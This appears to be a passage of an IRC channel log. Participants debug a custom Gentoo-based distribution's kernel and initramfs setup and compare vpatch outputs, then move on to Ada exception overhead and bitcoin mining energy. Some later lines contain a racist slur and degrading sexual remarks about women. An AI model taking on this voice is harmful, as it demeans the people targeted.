kernel option 'CONFIG_FIRMWARE_IN_KERNEL=y'. Which would help me complete the build of the initramfs. http://www.mod6.net/cuntoo-blog-1/genkern/genkern.jpg 1896199;1550113373;trinque;this is precisely what I do, and I load all manner of "liquishit" hardware (like amd GPUs) without initramfs 1896200;1550113400;trinque;I highly encourage you to not accidentally haul in an artifact of "user can't be expected to" into cuntoo 1896201;1550113452;trinque;very glad to see your experiments with using the UUID labels btw; I'm soon to haul that into the script. I do want to remind that this won't change the genesis that is produced by the bootstrapper. 1896202;1550113479;trinque;I still want to know whether your genesis.vpatch matches mine, and this is at least as important as whether it produced a bootable drive 1896203;1550113600;mod6;So the thinking behind initramfs: 1. I have one on the working gentoo on that box, 2. from what I've read that can help with various kernel related problems 1896204;1550113635;mod6;I'm not a "kernel hacker guy", so I've been down these roads based on trying to emulate what I see working in my other machines, and various online posts in teh gentoo forums and others. 1896205;1550113654;trinque;so "because I have this amulet" I'm not interested in what trinque is trying to teach me about what the amulet is? 1896206;1550113690;mod6;You have to understand, that I'm not trying to piss you off here. I don't even look at it on this level. 1896207;1550113706;mod6;I'm just a guy, trying to boot the thing so I can test something totally not related to kernel mods. 1896208;1550113757;mod6;If going through all the motions to try to figure out what the actual hardware problem is, and it'll get me across the finish line, great. I'll do that, but I think you're acting as if I'm somehow trying to violate you. 1896209;1550113780;trinque;my telling you that you're doing so incorrectly is not an emotion 1896210;1550113825;trinque;nor would "mod6 now knows about initramfs and what they're for" do anything but set you up to understand later tools I have for the republic that actually use the things properly 1896211;1550113843;mod6;trinque: I have little clue of what I'm doing. I'm just trying to solve it, in the only ways that I can. 1896212;1550113879;trinque;do you recall how to interact with the logs? I responded to some lines of yours there. what of them? 1896213;1550113888;mod6;Sometimes that means taking a shot in the dark, even if it's misguided from the point of view of someone who knows better. 1896214;1550113966;mod6;Trying to make an educated guess, or educated experiment I suppose. Are you disappointed that I tried to make the initramfs? If so, why does this bother you so? 1896215;1550113989;mod6;I'm the fool here, not you. 1896216;1550114016;trinque;eh dude, explaining to you what's an initramfs is not calling you a fool. 1896217;1550114022;trinque;this is the entirety of the problem 1896218;1550114072;mod6;Maybe we're talking past eachother a bit here. Anyway, I don't know much about these things. I'm kinda learning bit by bit as I go... it all certainly doesn't "fit in head" or whatever yet. 1896219;1550114119;trinque;lemme come at it another way. suppose your result here, absent my help, appears to be "this hardware only boots with initramfs" 1896220;1550114124;trinque;what is the consequence of that? 1896221;1550114159;mod6;well, that's a win for me, the only thing that sucks is you don't get to make your improvements from my own experience. 1896222;1550114199;mod6;But not matter what happens, I'll be sure to provide you with any information that I can provide. Who knows, maybe this is a shit system or some such. 1896223;1550114243;trinque;so your goal is to have a computer for mod6 on the back of my work, and if it incidentally helps get the cuntoo thing done, w/e 1896224;1550114267;trinque;since I have a fetish for futility, lemme press on 1896225;1550114281;trinque;so now you need an initramfs; what are you going to use to build it? 1896226;1550114306;trinque;genkernel? dracut? ... ? 1896227;1550114318;mod6;I don't quite see it that way, I'm just trying to do Foundation work, that does overlap with the Cuntoo work. 1896228;1550114332;trinque;what's the dependency chain of what you chose? how much additional weight do you bring into the genesis.vpatch for portage? 1896229;1550114354;mod6;So if you can glean soemthing off of my exp. that's great. I just didn't view the problems with my pos box to be super helpful to you. 1896230;1550114360;mod6;Maybe it is, maybe misjudged. 1896231;1550114393;trinque;and by the way, note how easily "I did not read this thing; I just want to use" bloats the holy tree of meaning is illustrated here 1896232;1550114426;mod6;I posted a jpg of the beginning of my genkernel. Basically there is another similar command to make the initramfs. Both end in failure that I spoke about above. 1896233;1550114450;trinque;so then. a core claim I'm making is *this is all I have ever needed to boot a sane linux on commodity hardware for years* 1896234;1550114463;mod6;But alf helped me to realize that there is a way we can still try to diagnose this issue by trying to boot off of USB stick, so I'm going to attempt that first before any more initramfs stuff. 1896235;1550114578;mod6;I'm not sure that I get your meaning. 1896236;1550114595;mod6;Are you saying that your claim is that is what I'm saying, or is that what you are saying? 1896237;1550114612;trinque;I'm saying this is the aim in my building this item. 1896238;1550114613;mod6;Anyway, do you agree with what alf has asked me to try next? 1896239;1550114640;trinque;that we have something to muntz further, and I'll strongly oppose any argument to ADD to it without hard justification 1896240;1550114663;trinque;recall the work with trb, and how much better a patch that removes is than one that adds. 1896241;1550114689;mod6;Ok, I see this as distinctly differnt. 1896242;1550114735;mod6;I'm not asking you to add my posbox foibles into your config. trb/ada/musl that I want to test on there doesn't care what kernel modules are loaded. 1896243;1550114778;trinque;I don't even think your box is a piece of shit. 1896244;1550114808;trinque;any more than my amd zenwhatever thing with 30 firmware to load before GPU will work properly 1896245;1550114826;mod6;Ok, even if its not. I'm just saying I'd never expect anyone to follow the initramfs thing or any other thing. You know way more about what is kosher in gentoo/cuntoo than I do. 1896246;1550114858;trinque;I very much want you on an actual cuntoo because one of the immediate needs is a trb ebuild. 1896247;1550114876;mod6;Cool, yeah, that too. 1896248;1550114891;mod6;no worries, we'll get there. 1896249;1550114927;mod6;I'll try to do this the way that #t sees fit. but, on my own, left to my own decision making (as I don't know much about these things) might be a bit askew. 1896250;1550114975;mod6;Like I said, didn't mean to offend in any sort of manner. I just got excited, thinking I was on the right track, and tried to get the thing up and running. I mean, shit, it's been like 13 or 14 days now of reboots, inflations, etc. 1896251;1550114993;trinque;0% offended man, I'll ask you to stop guessing at my state. 1896252;1550114994;mod6;Anything that even remotely looks like the finish line seems like a win -- even if it's not. 1896253;1550115014;trinque;even willing to look at your box with you sometime 1896254;1550115074;mod6;lol, not trying to guess your state. your language seems strong, so I sense irritation. 1896255;1550115108;mircea_popescu;he's from texas, they just talk in an accent there. 1896256;1550115120;trinque;the accent is yelling! 1896257;1550115123;mod6;lol. I'm gonna have to do that when reading trinque. Just add accent. 1896258;1550115150;mod6;i suspect that if we did have a beer irl, some of this would be cleared up. 1896259;1550115154;mod6;anyway, im here for you baby. 1896260;1550115178;mod6;and if alf's way seems like a sane thing to try, that's what I'm working on now. otherwise, I'm all ears and can adjust as you see fit. 1896261;1550115191;trinque;word 1896262;1550115229;trinque;proposal is that you investigate what initramfs is, which will lead to an answer on why one worked on the box you had before, which will lead to why you don't need one 1896263;1550115301;mod6;ok, but it is understood that we're talking about the same box though, right? 1896264;1550115379;trinque;yeah, comparing a boot with initramfs to one without would be a fine thing; even better would be for you to bake your own initramfs sometime with say busybox, and have the init script drop to a shell so you can see what it is 1896265;1550115390;trinque;larger context here is I'm not eating a linux distribution by myself 1896266;1550115404;trinque;RECRUITS NEEDED 1896267;1550115406;mod6;ok. 1896268;1550115411;mod6;*nod* 1896269;1550115482;mod6;you know, at one point i did actually handroll an initramfs on cuntoo, at which point I updated the /etc/lilo.conf and when I booted, and it panic'd, it did drop me into a shell. 1896270;1550115492;mod6;but I didn't really know what do with it. 1896271;1550115501;mod6;so i just wiped the disk again and moved on. 1896272;1550115530;mod6;but, I just followed some steps, I didn't know too much about what it was doing, or myself. 1896273;1550115559;mod6;you know? I think learning about it is a fine thing, probably would make me understand the errors of my ways. 1896274;1550115605;*;trinque is quite familiar with the impulse to torch the thing when it misbehaves, but it's not going to get us a distro we own. 1896275;1550115664;mod6;I suppose there's some good wisdom in that. I wouldn't want mircea_popescu torch his trb if it does weird shit on a 'getinfo' either. 1896276;1550115672;trinque;ftr there are loads of interesting uses for initramfsen; we will have tooling to make them, but it has to come absent the sin of the load-all-modules thing and "lemme go automatically mount whatever root I can find" and miles else 1896277;1550115681;trinque;righto 1896278;1550115712;mircea_popescu;initramfs seems the logical intermediate step to romware. 1896279;1550115724;mircea_popescu;but a lot of this before we care about that. 1896280;1550115732;*;trinque nods 1896281;1550115745;mod6;Ok, starting small, I got you. I dunno where the fire is either -- I don't know why I'm in any sort of rush here. 1896282;1550115748;mircea_popescu;in any case, on a sane system that's stable there's ~0 reason to have the CODE on disk. 1896283;1550115763;*;mircea_popescu has been playing the same heroes 2 for 20 years now. if it were on chip it'd have hurt nothing. 1896284;1550115810;mircea_popescu;not like i rebuild it every other week or w/e. 1896285;1550115867;trinque;very little justification for writable root. I've fiddled with the CD burning too. 1896286;1550115928;mircea_popescu;right. but for now, that'll lie as it fell. 1896287;1550116009;mircea_popescu;http://btcbase.org/log/2019-02-14#1896202 << did this ever get answered ? 1896288;1550116009;a111;Logged on 2019-02-14 03:04 trinque: I still want to know whether your genesis.vpatch matches mine, and this is at least as important as whether it produced a bootable drive 1896289;1550116038;mod6;Oh, no, I got side tracked. It never did match up for me. Let me check on the latest one that was output. 1896290;1550116042;trinque;http://trinque.org/2018/11/27/cuntoo-bootstrapper/#comment-52 << latest sig 1896291;1550116049;mod6;thx 1896292;1550116065;trinque;mod6: please post me your genesis somewhere so I can diff if it doesn't match. 1896293;1550116076;trinque;or if it does, so I can diff anyway and cackle with glee 1896294;1550116077;mircea_popescu;^ 1896295;1550116131;mircea_popescu;trinque nice avatar kekekex 1896296;1550116204;trinque;loller. john k still apparently allowing himself to be unpersoned after having admitted to having teenaged girlfriends, instead of joining the republic. 1896297;1550116250;mircea_popescu;who ? 1896298;1550116268;trinque;the ren and stimpy guy 1896299;1550116305;mircea_popescu;ah. 1896300;1550116313;mod6;hmm, nope didn't verify. I threw in a sha512 of each sigfile just to ensure that I have the correct ones: http://p.bvulpes.com/pastes/CCU2l/?raw=true 1896301;1550116340;trinque;mod6: can I get the genesis.vpatch ? 1896302;1550116343;mircea_popescu;they do a lot of this http://trilema.com/2018/the-night-of-the-hunter/#selection-133.0-133.542 lately, don't they. 1896303;1550116362;mircea_popescu;socialist future has no room for individual creators of beloved mass-cultural icons!!! 1896304;1550116378;mircea_popescu;burgeois-decadent^H^H patriarchy-oppressive! 1896305;1550116399;trinque;nope, there'd be cobain me2 by now if he hadn't eaten it 1896306;1550116487;mircea_popescu;im sure he fucked a bunch of seattle cokewhores without asking them. 1896307;1550116525;mod6;http://p.bvulpes.com/pastes/g7Y5f/?raw=true << weird, 133682 genesis.vpatch lines long tho, so maybe too big. I'll post it, one sec. 1896308;1550116562;mircea_popescu;kinda lulzy, considering they can't really stand up for five minutes without them. no cobain there to argue for alternative to mp worldview, what's left ? 1896309;1550116576;mircea_popescu;shockingly similar to an autoimmune disease, all this. 1896310;1550116599;mircea_popescu;autoimmune encephalitis ; it actually is a thing. 1896311;1550116753;mod6;trinque: http://www.mod6.net/cuntoo-blog-1/genesis.vpatch 1896312;1550116765;trinque;no great shock that hating oneself so can't stand on its own forever 1896313;1550116769;trinque;thx mod6 1896314;1550116829;mod6;yup np. 1896315;1550116875;mod6;ok so next marching orders are to not do the USB Stick, and `lsmod -v` compare; but instead, will take a few days to look into initramfs, and then try to build another? 1896316;1550116967;asciilifeform;http://btcbase.org/log/2019-02-14#1896276 << notably ye olde trb-on-pogo asciilifeform recipe ran off initramfs 1896317;1550116967;a111;Logged on 2019-02-14 03:41 trinque: ftr there are loads of interesting uses for initramfsen; we will have tooling to make them, but it has to come absent the sin of the load-all-modules thing and "lemme go automatically mount whatever root I can find" and miles else 1896318;1550116981;trinque;aha! 1896319;1550117012;asciilifeform;but it dun have much use case on pc, unless yer building dick^H^Hskless box for special purpose ( e.g. router ) 1896320;1550117153;trinque;mod6: the curious thing is that you have full paths in just *part* of your genesis.vpatch, in the same exact way diana_coman did 1896321;1550117168;trinque;I suspect I have a different vdiff than both of you 1896322;1550117203;mod6;I'm 98% sure that I got my vdiff out of diana_coman's starter_v.zip, lemme double check. 1896323;1550117231;asciilifeform;hm waitasec mod6 , didja ever post yer kernel config ? 1896324;1550117289;asciilifeform;betcha it's fulla 'M' 1896325;1550117291;trinque;yep, whereas I pressed mine to bvt's patch http://btcbase.org/patches/vtools_tempfile_standalone_notmp 1896326;1550117320;mircea_popescu;well at least this discussion's narrowing down the paths issue 1896327;1550117336;mod6;http://p.bvulpes.com/pastes/zHUbI/?raw=true << vdiff info, built with the gnat '16 blob, and starter_v.zip 1896328;1550117345;trinque;mod6: a/profiles/home/mod6/cuntoo/cuntoo/build/usr/portage/profiles/releases/17.0/package.use.mask << this for example is not a valid path for anything 1896329;1550117362;mod6;trinque: hmm, ok. 1896330;1550117366;mod6;asciilifeform: yeah, one sec. 1896331;1550117368;trinque;it looks like both the symlink and the path symlinked commingled 1896332;1550117377;trinque;phf: ^ this familiar at all? 1896333;1550117400;mod6;http://www.mod6.net/cuntoo-blog-1/trb-test1-kernel-config << asciilifeform my trb-test1 kernel config 1896334;1550117441;asciilifeform;it's got m!! mod6 1896335;1550117449;asciilifeform;http://btcbase.org/log/2019-02-09#1894555 << seealso 1896336;1550117449;a111;Logged on 2019-02-09 19:58 asciilifeform: ( change all yer 'M' to a 'Y' .. ) 1896337;1550117499;*;trinque cheats and just boots a moduletronic kernel, then "make localyesconfig" and rebuilds 1896338;1550117515;asciilifeform;rather than fiddling with initramfs fulla modulism, wainot do what asciilifeform does on piz boxen and bake it all =y 1896339;1550117519;mod6;oh crap, maybe overlooked that asciilifeform. I can change and retry if that's the best plan. 1896340;1550117524;asciilifeform;then dun need modulism at all 1896341;1550117597;trinque;lots of decent tools in the kernel makefile; worth building kernels directly (rather than via "genkernel") to get acquainted with them 1896342;1550117907;mod6;Ok, so do `sed -i 's/=m/=y/g' trb-test1`, then rebuild and try again? 1896343;1550118198;mod6;Alright, that's what I'll do. 1896344;1550118383;mod6;Ok, no more '=m', now zeroing drive. 1896345;1550118419;mod6;Once complete, will re-inflate. Will report back more tomorrow. Thanks for help! 1896346;1550120117;BingoBoingo; loller. john k still apparently allowing himself to be unpersoned after having admitted to having teenaged girlfriends, instead of joining the republic. << My first thought on reading John K was chicom derp on Bitcointalk, moderator and escrow fellow 1896347;1550120509;mircea_popescu;"fetish for futility", that has quite the ring to it. 1896348;1550120901;mircea_popescu;anyway, this trinque - mod6 exchange's gonna be a thing for the ages. 1896349;1550121618;BingoBoingo;mod6 seems to be in an uncomfortable place resembling where I was exactly a year ago except the people around him speak his mom's tongue. I hope he can pupate in *spite* of that 1896350;1550121934;BingoBoingo;But where mod6 adds friction, zero'ing drives. I like that 1896351;1550124596;mircea_popescu;http://btcbase.org/log/2019-02-14#1896235 << ima write an article nao. 1896352;1550124596;a111;Logged on 2019-02-14 03:22 mod6: I'm not sure that I get your meaning. 1896353;1550129508;diana_coman;http://btcbase.org/log/2019-02-14#1896155 -> the point is that it's supposed to slow down the code *at all times* , not only /if it crashes; so no, I don't imagine anyone cares about *that* if the whole thing crashes 1896354;1550129508;a111;Logged on 2019-02-14 02:01 mircea_popescu: http://btcbase.org/log/2019-02-13#1895868 << we don't so much care, seeing how we don't intend to have exceptions but exceptionally. if the thing crashes ever, your problems will be in excess of 99, but none of them that "it took one half milisecond extra for burning relic to make it back to earth" 1896355;1550129520;mircea_popescu;aha 1896356;1550130024;diana_coman;http://btcbase.org/log/2019-02-14#1896320 -> hm, trinque, do you suspect it's really just down to V version? I can easily re-run the thing with a V pressed to same node as yours to rule that out, if that's the case 1896357;1550130024;a111;Logged on 2019-02-14 04:05 trinque: mod6: the curious thing is that you have full paths in just *part* of your genesis.vpatch, in the same exact way diana_coman did 1896358;1550130102;diana_coman;mircea_popescu, the thing there is: it's true we don't care about it if the server crashes but is it also true we don't care about an overall slowdown at all times because of each and any exception actually handled in the code? 1896359;1550130276;feedbot;http://trilema.com/2019/so-what-is-the-man-saying/ << Trilema -- So what is the man saying ? 1896360;1550130304;mircea_popescu;trinque let me know how close i got. 1896361;1550130321;mircea_popescu;diana_coman do you mean risen exceptions ? 1896362;1550130350;mircea_popescu;and yes, i would say it's worth re-pressing to his node and seeing if that fixes it. if it does, we'll have some 'splainin' to do. 1896363;1550130531;diana_coman;no, not risen 1896364;1550130551;diana_coman;according to docs, the mere presence of a handler of exception slows the whole things down when lj 1896365;1550130561;mircea_popescu;but this is already checked, no ? all sorts of exceptions are in fact handled by your for loops code, that were not risen 1896366;1550130561;diana_coman;regardless of whether exception is actually raised 1896367;1550130593;mircea_popescu;this is specifically what we were checking, whether this is true or not. 1896368;1550130639;diana_coman;hm; I don't know if it's exactly the same thing or not; perhaps it is 1896369;1550130684;diana_coman;re re-pressing to his node - note that that is re v-tools in fact; and I pressed the v-starter to node before that precisely because it essentially forks there i.e. there are 2 options 1896370;1550130706;mircea_popescu;but i mean, your code would have handled exceptions if they arose, yes ? if a for looped out of bounds, or whatever. isn't it so ? 1896371;1550130731;diana_coman;being starter, I preferred not to force a choice there; but at any rate, if the previous node is basically broken as I gather that's certainly a problem 1896372;1550130756;mircea_popescu;i can't even figure how it'd be broken, but yes. 1896373;1550130761;diana_coman;ada's checks raise exceptions yes; not handled; I don't know if additional explicit handlers ADD or not 1896374;1550130783;mircea_popescu;but there is no such thing as a TRULY unhandled exception. either it hoses the box or else it goes to the default handler. 1896375;1550130789;diana_coman;well, if the resulting paths are mangled then it'd be broken somehow, no/ 1896376;1550130800;mircea_popescu;yes, but it doesn't seem to. 1896377;1550130813;mircea_popescu;i can't believe we manage to have crosstalk with just two people talking. 1896378;1550130832;diana_coman;well yes, but 1 default handler means slowdown of 1 single handler no matter how many exceptions; because slowdown if any, afaik is re number of handlers precisely, NOT exceptions 1896379;1550130837;diana_coman;ahahha, yes 1896380;1550130849;*;diana_coman also adds kids reading over my shoulder and commenting, lol 1896381;1550130895;mircea_popescu;diana_coman but nobody's ever adding MORE handlers. so if this is so, it still is moot. 1896382;1550130933;*;mircea_popescu is more than welcoming criticism / commentary from experts ; as far as my lights see, we have in fact checked that documented penalty and found it missing in practice. 1896383;1550130940;mircea_popescu;diana_coman : btw, here's my current model for the calling timing harness : write three procedures, A B C. have each of these 1. increment a global counter, X ; 2. check if X is over a max value ; 3. if it is not, have each call either one or the other of the other two randomly ; 4. if X is over max value, have them simply return. 1896384;1550130940;mircea_popescu;set max value to say 65536 (this should result in pagesize 1896404;1550160134;mircea_popescu;if you use up 16mn stack frames, they'll be multi-page like it or not. 1896405;1550160170;asciilifeform;can do this using stack, but will have to adjust the linux max, iirc it is ordinarily 2MB cap 1896406;1550160177;mircea_popescu;re the loops, i don't see the point in bothering with this there. we were checking loops, not the whole call mechanism, there. 1896407;1550160216;asciilifeform;no that makes sense 1896408;1550160217;mircea_popescu;asciilifeform but if i don't adjust the linux max for eulora, why the fuck would i care to do so for this test ? 1896409;1550160238;asciilifeform;is it clear what meant by 'distance' ? 1896410;1550160241;mircea_popescu;yes. 1896411;1550160281;mircea_popescu;you are saying that the delta between the address of the jump instruction and the address of the instruction it jumps to must be at least arbitrary number = page size. 1896412;1550160301;asciilifeform;aha 1896413;1550160318;mircea_popescu;but this can be factually insured in the model proggy for call testing, by making the DEPTH larger than the page size. 1896414;1550160323;asciilifeform;btw , to go with http://trilema.com/2019/so-what-is-the-man-saying , really oughta disasm a zcx variant and longjmp side by side and see what actually changes. ( when diana_coman comes back with working bins, i'ma set this up , for thread-co) 1896415;1550160327;asciilifeform;mpleteness 1896416;1550160335;mircea_popescu;because there's no way in hell anyone can store 5mn procedure calls in 4mb ram. 1896417;1550160350;*;asciilifeform brb,teatime 1896418;1550160920;mircea_popescu;to continue the http://btcbase.org/log/2019-02-10#1894616 discussion / produce a benchmark for the republic's development : taking mining efficiency at 20 GH/joule (slightly above the antiminer s9) 40 exahash would be ~2 Gjoules. 1896419;1550160920;a111;Logged on 2019-02-10 15:40 mircea_popescu: in other news, bitcoin difficulty looks like it's finally come out of the crazy and into economic coupling, check it out, past six months it's been evidently kept in place by fiat exchange rates. 1896420;1550161180;mircea_popescu;at this same time, world energy consumption (instantaneous) is about 10-20 terajoules (on the basis of primary energy generation/consumption for 2015 standing at 170/110 PWh) ; 1896421;1550161293;mircea_popescu;consequently bitcoin is merely using 0.02 to 0.01% of world energy generation, less than the 50%+1 it's supposed to use by a margin of say 5000. 1896422;1550161334;mircea_popescu;ie, bitcoin is 0.02% complete. yet something tells me the next ten years are going to see a lot more completion than the first ten. 1896423;1550161394;mircea_popescu;(the situation is actually better than that, seeing how most of those PWh are low quality energy in the shape of low temperature heat.) 1896424;1550161934;asciilifeform;mircea_popescu: recall your hypothesis re 'folx will heat house with miner' ? 1896425;1550161949;mircea_popescu;certainly. 1896426;1550161959;mircea_popescu;but this doesn't equal "folks will mine on own farts" 1896427;1550162046;asciilifeform;was thinking, pc is substantially easier to get hold of than miner (of any description), but somehow not so many folx heat house with'em ( part of this to do with the difficulty of usefully reselling cpu cycles ; but even asciilifeform , who eats plenty by lonesome , only covers perhaps 40% of heat for house via exhaust from the torture room fans ) 1896428;1550162055;asciilifeform;somehow the 'house + dc' co 1896429;1550162058;asciilifeform;mbo is uncommon 1896430;1550162152;mircea_popescu;computers aren't nearly as important as bitcoin. 1896431;1550162286;mircea_popescu;http://trilema.com/2016/the-megawatt-standard/#comment-127869 << for thread completeness. 1896432;1550162476;asciilifeform;i suspect that 'heat house' aint happening, no matter what level of 'important'. obsolete miners even nao aint worth the cost of transport , floor space, or fan dusting / noise isolation, even to use as heater. whereas 'current' iron is ~unobtainable to commoner on acct of being a strategic good. and can't picture how this would change as 'important' goes up. 1896433;1550162502;asciilifeform;i.e. this will go approx same as the jp dream of 'home reactor' 1896434;1550162577;mircea_popescu;it's certainly happening, to the degree electric heating is happening currently. 1896435;1550162598;asciilifeform;resistance heater mostly happens in argentinas 1896436;1550162616;mircea_popescu;for as long as there's such a thing as a http://trilema.com/2016/cargo-cults-a-case-study/#selection-91.0-99.80 still left plugged in somewhere, a miner'd make better use of those watts. 1896437;1550162625;asciilifeform;( it never wins on cost, in climate where heat pumping worx (avg. >0c) it is used, otherwise fossils win) 1896438;1550162636;mircea_popescu;asciilifeform yes, but then again argentinas are usually the dumping grounds. most "old" phones ended up in africa. 1896439;1550162645;mircea_popescu;they ~will~ plug them in. 1896440;1550162661;asciilifeform;i can actually picture orcs heating with old miners, if they had the two neurons to rub together and get a boat loaded with'em 1896441;1550162672;mircea_popescu;the garbage boats come unasked. 1896442;1550162730;asciilifeform;wonder, who will be the hero to repackage the old asics as radiator with fins ( do you know anyone who wants equiv. of running shop vac at all times in bedroom ? that's what the extant asictrons resemble ) 1896443;1550162739;mircea_popescu;anyway, there's a whole selection of current-ish miners available to consumer. 1896444;1550162776;asciilifeform;this is where i confess that i did not follow the subj actively in recent yr or 2, last time i tried to buy miner was some time during kako's reign 1896445;1550162792;mircea_popescu;whole http://btcbase.org/log/2018-12-01#1877555 thing all over again : tank targetting and alf playing happened on the exact same board. 1896446;1550162792;a111;Logged on 2018-12-01 21:23 asciilifeform: so, to extend lemma, atari ~because~ cheap ic, and not other way ? 1896447;1550162814;mircea_popescu;because of how ic works, it's cheaper to let consumers have the professional product than to make another special one for them. 1896448;1550162839;asciilifeform;that was a uniquely sovok phenomenon tho -- these folx were so poor that they could not afford konsoomer & mil separate lines 1896449;1550162841;mircea_popescu;same thing with cars and mass market in http://trilema.com/2010/masini-bune-si-masini-de-lux/#selection-53.0-53.130 1896450;1550162858;mircea_popescu;asciilifeform nobody can ever be as rich as all that. 1896451;1550162894;asciilifeform;http://btcbase.org/log/2018-06-20#1827422 << for illustration. sovok eeproms, sumthing like half a ~gram~ of au in ea. 1896452;1550162894;a111;Logged on 2018-06-20 00:06 asciilifeform: su mil-grade logic tends to look like http://skupkadetaley.ru/data/image/catalog/k573rf4.jpg << ceramic, gold, direct copy of usa mil/orbit grade 1896453;1550162907;asciilifeform;and same ones used in nuke and in bk0010 schoolboy comp. 1896454;1550163012;asciilifeform;funnily enuff, they're still gettable despite 30 yrs of 'biznis' melting'em down for au. 1896455;1550163020;mircea_popescu;yes ; and if they found out a way to do without the au, they'd have taken it out of... both. 1896456;1550163044;asciilifeform;incidentally this sort of thing remains in play for modern ic, and is why old irons become scarce, at some pt becomes worth moar as au ore than to transport/run 1896457;1550163059;mircea_popescu;this is the fundamental point of ye above linked car article : if "luxury brands" come up with ~substantail improvements~, they're next year in the "mass market" cars. 1896458;1550163060;asciilifeform;nobody's found yet a way to make'em with 0 au. 1896459;1550163075;mircea_popescu;because wtf, you're not gonna put the better item in the mn-line, keep it for the 100s line ? 1896460;1550163136;mircea_popescu;so yes, bitcoin miners are strategic items, much like atari targetting systems. nevertheless -- perfectly available to consumer. 1896461;1550163176;asciilifeform;asciilifeform's proposition is that difficulty climb at some pt puts the older units into the zone where they're worth moar as au 1896462;1550163269;asciilifeform;( i'ma take mircea_popescu's word for 'they are available to konsoomer' , evidently currently worth slightly moar as chump bait than as ore ) 1896463;1550163385;BingoBoingo; resistance heater mostly happens in argentinas << Even Uruguay does heatpumps and bottled LPG 1896464;1550163461;asciilifeform;BingoBoingo: it happens where sovok bldg manager refuses to switch on the central steam till december etc. 1896465;1550163482;asciilifeform;i used to live in 1, erry flat had buncha resistance heaters, fuses regularly blew . 1896466;1550163585;BingoBoingo;asciilifeform: There are 50s to 70's buildings here like that, but central heat even then is fairly rare. Past few decades climate control doctrine in Uruguay is based around a standard sized air conditioner. An apartment may have 1-3 of these, a house may have a double digit numer of these. 1896467;1550163627;asciilifeform;electric resistance heat is -ev insanity on pretty much 100% of planet, moar or less 100% of the time -- heat pump (if >0C) or gas (if <0C and there's ~any~ gas to be had , at just about any historical price) wins by fat margin 1896468;1550163627;BingoBoingo;Even in commercial construction... Recall the co-work roof 1896469;1550163691;BingoBoingo;Now there are a handful of buildings with size appropriate climate control here like the WTC towers, but they are the exceptions 1896470;1550163747;BingoBoingo;But the issue down here is not "a heatpump", but this one specific size of heatpump that's the only option they know. 1896471;1550163803;asciilifeform;BingoBoingo: as i understand , BingoBoingostan is theoretically idea heatpump country 1896472;1550163804;asciilifeform;*ideal 1896473;1550163811;asciilifeform;i.e. scarcely ever <0C 1896474;1550163848;asciilifeform;that the orcs dun realize this, and continue to build blocks of flats with no heat and where each orc sets up propane burner in his deathtrap, is entirely separate puzzler 1896475;1550163960;mircea_popescu;certainly stupid idea, it takes 3 watts of steam (the "low quality low temperature heat" from above) to make 1 watt of electricity. why the fuck would you turn around and make low temperature heat out of that ?! 1896476;1550164034;mircea_popescu;http://btcbase.org/log/2019-02-14#1896462 << this not taking anyone's word, it is being an offensive, raging asshole. 1896477;1550164034;a111;Logged on 2019-02-14 16:54 asciilifeform: ( i'ma take mircea_popescu's word for 'they are available to konsoomer' , evidently currently worth slightly moar as chump bait than as ore ) 1896478;1550164048;mircea_popescu;what fucking chump bait are you the fuck on about in your own solipsist hell entirely lost to any reason ? 1896479;1550164078;asciilifeform;what instead should i call miner that eats 500 $ / mo of current to produce bitcent ? 1896480;1550164098;mircea_popescu;the bitcoin miner you alf could buy today is slightly, but not much, worse than the bitcoin miner the strategic mining op could buy today ; and it is slightly better (but not much) than the average miner the average strategic op has currently deployed and running. 1896481;1550164137;mircea_popescu;yes, it's true most of those for-profit mining ops are located in places with cheaper electricity than yours. HOWEVER, this is not a discussion of ~the miner~ but of expensive government you ~opt to support~. 1896482;1550164172;mircea_popescu;fucking move, if you don't like paying 5 cents for electro-watt and a further 10 cents so mammie mc nigger fatass can afford lube and happy meals every time you burn a watt. 1896483;1550164186;asciilifeform;let's stipulate that this is true (i.e. that what's sold to konsoomer currently is only coupla notches obsolete.) i thought that orig 'heat house' hypothesis was re arbitrary degree of obsolescence. 1896484;1550164235;mircea_popescu;no. the original hypothesis was that the same exact item you alf could buy, ie, slightly worse than the best and slightly better than average deployment, will be inserted into eg ceramic tiles, and allow for applications where people don't so much give a fuck. 1896485;1550164255;mircea_popescu;because i WILL heat my bathroom floor so my whores can suck my cock barefoot rather than live in frigid 80s sovoklands. 1896486;1550164259;mircea_popescu;and i don't care what it costs 1896487;1550164291;mircea_popescu;but i don't care what it costs in the sense i will have it done, not in the sense that i will have it done in the most expensive way possible. if there's bitcoin mining tiles and simple tiles available, i am buying the former. 1896488;1550164293;asciilifeform;if actually 'don't care what costs', why not yet paid to have boatload of 5yo asics actually baked into tiles and installed in castle mircea_popescustein ? 1896489;1550164304;asciilifeform;what's the obstacle ? 1896490;1550164312;mircea_popescu;because i don't care about tiles enough to make my own yet. 1896491;1550164349;asciilifeform;right. so hypothesis requires then that it is viable commercially, i.e. someone other than mircea_popescu give enuff damn to bake'em into tiles. 1896492;1550164355;asciilifeform;and this not happened yet. why not ? 1896493;1550164370;mircea_popescu;except as per teh "three ring binder" theory, it doesn't actually require anything besides their being made. 1896494;1550164378;mircea_popescu;which will also happen, necessarily. 1896495;1550164419;mircea_popescu;why necessary event has not happened yet is sometimes explicable (if sun will burn out eventually, then why not yet ?!?!) but not always (say mom, if i'm gonna lose my virginity eventually, how come no girl fucked me yet ?!?!?!") 1896496;1550164641;asciilifeform;hm. 1896497;1550164649;asciilifeform;mircea_popescu do you think we oughta be making tiles ? 1896498;1550164695;mircea_popescu;it seems to me premature yet. on my judgement, there was a lot of optimisim at the chump level re obama's bullshit electro-rooves. that will have to blow over, as it was a scam. consumer market will reel a while in disdain-distrust of "such nonsense". 1896499;1550164701;mircea_popescu;then next generation will make bitcoin mining houses. 1896500;1550164720;mircea_popescu;so i expect to see it before i die, but i do not expect to spend anything on it this mid term. 1896501;1550164723;asciilifeform;makes sense. 1896502;1550164763;mircea_popescu;this is an ancient theme, even appears in say the gladstone speech you asked for recently. "first man, spent 1/4mn pounds, got no coal. 2nd man, spent 100k, got no coal. 3rd man got coal" 1896503;1550164778;mircea_popescu;the problem with economically useful preciction isn't getting the trends right, it's getting the timing right. 1896504;1550164919;asciilifeform;'pioneer is the fella with arrow in his back' eh 1896505;1550164927;mircea_popescu;quite. 1896506;1550164933;phf;http://btcbase.org/log/2019-02-14#1896331 << no. i gather you're not seeing this issue on your own machine? vdiff treats links the way diff did, as a completely new file, including the content 1896507;1550164933;a111;Logged on 2019-02-14 04:09 trinque: it looks like both the symlink and the path symlinked commingled 1896508;1550164943;asciilifeform;ohai phf 1896509;1550165012;phf;hey 1896510;1550165016;asciilifeform;mircea_popescu: 